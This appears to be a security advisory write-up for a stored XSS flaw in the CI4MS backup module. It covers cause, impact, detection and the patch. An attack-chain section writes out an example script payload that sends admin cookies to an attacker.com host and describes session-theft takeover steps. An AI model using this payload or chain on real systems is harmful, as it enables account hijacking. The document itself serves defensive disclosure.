CVE-2026-41201: 
PHP vulnerability analysis and mitigation

CVE-2026-41201 is a Stored DOM Blind XSS vulnerability in CI4MS (a CodeIgniter 4-based CMS skeleton) that enables full account takeover and privilege escalation via a malicious payload embedded in the backup module's filename field. It affects CI4MS version 0.31.4.0 and all prior versions below 0.31.5.0. The vulnerability was published to the GitHub Advisory Database on April 18, 2026, and to the NVD on May 7, 2026. The CVSS v3.1 base score is reported as 9.1 (Critical) by the project's own advisory, while the GitHub Advisory Database assigns a score of 6.8 (Moderate) using a slightly different vector (Github Advisory, GitHub Security Advisory).

The root cause is improper neutralization of user-controllable input in the backup module's filename field (CWE-79), where the application fails to apply output encoding before rendering dynamically loaded DataTables filename strings in the browser DOM. An authenticated attacker with access to the backup module can upload or manipulate a SQL backup file so that its filename field contains a hidden JavaScript payload; when an administrator or other privileged user views the backup management interface, the payload executes in their browser context. The fix in version 0.31.5.0 applies CodeIgniter's esc() output escaping function to the affected filename strings, preventing script injection (GitHub Security Advisory, CI4MS Release).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other users — including administrators — who view the backup management interface. This enables session cookie/token theft, unauthorized actions performed as the victim (including account takeover), and privilege escalation to superadmin level. All three CIA dimensions are rated High, meaning confidential data can be exfiltrated, application integrity can be compromised, and availability may be disrupted through administrative actions taken under the attacker's control (Github Advisory, GitHub Security Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.044–0.063%, placing it in the lower percentiles for near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with access to the backup module, which limits the attacker pool but does not eliminate risk in multi-tenant or shared-admin environments.

1. Gain authenticated access: Obtain credentials for any account with access to the CI4MS backup module (e.g., a low-privileged admin or operator role).
2. Craft a malicious SQL backup file: Create or modify a SQL dump file so that its filename field contains a hidden XSS payload, such as backup_<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.sql.
3. Upload the malicious backup: Use the backup module's upload or restore functionality to introduce the crafted file into the application's backup list.
4. Wait for privileged user interaction: When an administrator or higher-privileged user navigates to the backup management interface, the DataTables component renders the unescaped filename, triggering the stored XSS payload in their browser.
5. Harvest session tokens: The injected script exfiltrates the victim's session cookie or authentication token to an attacker-controlled server.
6. Achieve account takeover / privilege escalation: Use the stolen session token to impersonate the administrator, perform privileged actions, or escalate to superadmin by exploiting the IDOR behavior in UserController also patched in v0.31.5.0 (GitHub Security Advisory, CI4MS Release).

• Network: Outbound HTTP requests from the web server or admin browser to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from backup management page interactions.
• Logs: Web server access logs showing requests to the backup management interface followed shortly by unusual outbound connections; application logs recording backup file uploads with anomalous or script-containing filenames.
• File System: SQL backup files in the CI4MS backup directory with filenames containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) or URL-encoded equivalents.
• Process/Session: Unexpected administrative actions (role changes, new superadmin accounts, configuration modifications) performed under a legitimate admin session that the admin did not initiate.

The vendor has released CI4MS version 0.31.5.0, which patches this vulnerability by applying the esc() output escaping function to dynamically rendered backup filenames in DataTables. All administrators running versions prior to 0.31.5.0 should upgrade immediately. As interim mitigations, restrict access to the backup module to the minimum necessary accounts, implement a Content Security Policy (CSP) header to block inline script execution, and audit existing backup filenames for suspicious content (CI4MS Release, Github Advisory).

The vulnerability was reported by security researchers bugmithlegend and DexterHK, who were credited in both the GitHub advisory and the release notes (GitHub Security Advisory, CI4MS Release). The Hacker Wire published a dedicated write-up on the vulnerability, and a Reddit thread in r/pwnhub highlighted the issue to the broader security community. The @offseq account on Infosec.Exchange also noted the vulnerability, contributing to community awareness.